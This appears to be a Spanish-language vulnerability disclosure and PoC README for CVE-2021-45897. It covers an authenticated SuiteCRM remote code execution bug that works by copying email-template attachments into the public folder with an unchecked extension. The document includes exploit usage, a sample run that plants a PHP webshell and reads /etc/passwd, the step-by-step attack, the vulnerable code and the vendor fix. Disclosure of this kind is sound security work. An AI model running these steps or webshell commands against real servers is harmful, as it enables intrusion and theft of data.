
Exploit de RCE autenticado para SuiteCRM <= 8.0.1 mediante la carga de imágenes en plantillas de correo electrónico, implantando un webshell en PHP para la ejecución remota de comandos.
PoC para CVE-2021-45897, también conocido como SCRMBT-#180 - RCE mediante Plantillas de Correo Electrónico (solo autenticado) en SuiteCRM <= 8.0.1
Esta vulnerabilidad fue reportada a SalesAgility y corregida en SuiteCRM 7.12.3 y SuiteCRM Core 8.0.2. Si estás usando versiones anteriores de SuiteCRM, te recomiendo encarecidamente que actualices.
Instalación
python3 y pip instalados.git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"Opciones disponibles:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
Ejemplo de uso:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
Recientemente descubrí un interesante vector de ataque RCE en el Software SuiteCRM basado en PHP. La vulnerabilidad permite a un atacante autenticado con acceso al módulo EmailTemplates subir archivos PHP maliciosos, que pueden utilizarse para obtener ejecución remota de código.
Desde mi punto de vista, el manejo general de la subida de archivos en SuiteCRM parece bastante seguro. Aunque hay mucho código personalizado, los desarrolladores prestaron especial atención a eliminar cualquier extensión de archivo (lo que ocurre para la mayoría de los tipos de archivo), o a validar las extensiones y sanitizar el contenido en caso de que sea una imagen. Incluso existe una interfaz de plugins para cargar escáneres antivirus de terceros y permitirles procesar cualquier subida.
Sin embargo, me topé aleatoriamente con una pequeña característica interesante oculta en public/legacy/modules/EmailTemplates/EmailTemplate.php:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
SuiteCRM permite a los usuarios crear plantillas de correo electrónico. Las plantillas también pueden contener adjuntos, que se almacenan en un módulo separado (el módulo Notes). Los usuarios pueden adjuntar archivos arbitrarios a las plantillas de correo. El contenido del archivo no se sanitiza de ninguna manera. Sin embargo, se almacena sin extensión, por lo que incluso si contiene código PHP potencialmente malicioso, no sería ejecutado por el servidor web. Los usuarios autenticados también pueden descargar estos adjuntos usando un enlace con el formato /index.php?entryPoint=download&type=Notes&id=<note-id>.
La función repairEntryPointImages se activa cada vez que se guarda o se accede a una plantilla de correo. Si observamos el código, podemos ver que analiza el marcado (body_html) de la plantilla de correo y busca etiquetas HTML img con un atributo src especial. La expresión regular básicamente se asemeja al formato del enlace interno de descarga de adjuntos. Sin embargo, estos enlaces solo funcionan para usuarios autenticados en SuiteCRM, que muy probablemente no sea el caso del destinatario del correo. Por lo tanto, SuiteCRM crea automáticamente una copia del adjunto en la carpeta public del servidor web y reemplaza el enlace interno de descarga con la versión pública. Para asegurarse de que el cliente de correo muestre correctamente las imágenes, también añade una extensión de archivo. Sin embargo, la extensión del archivo de destino en la carpeta pública se toma directamente del parámetro de consulta filename del src de la imagen y no se valida (ten en cuenta que el filename no activa ninguna otra lógica y puede elegirse libremente).
Ahora tenemos todo lo necesario para crear un exploit que suba un webshell PHP en la carpeta public:
Notes subiendo un webshell PHP. Recuerda el id de la Note/index.php?entryPoint=download&type=Notes&id=<note_id>repairEntryPointImages, pero usa .php para el parámetro de consulta filename (por ejemplo, /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).repairEntryPointImages y copiará nuestro webshell con una extensión .php a la carpeta publichttp://<<host>>/public/<<note_id>>.phpPoco después de mi informe, se lanzaron nuevas versiones de SuiteCRM (7.12.3 y 8.0.2), que contienen la siguiente corrección:

Esto asegura que solo se utilicen extensiones de archivo de imagen válidas en repairEntryPointImages y previene la creación de archivos con extensiones no permitidas como .php.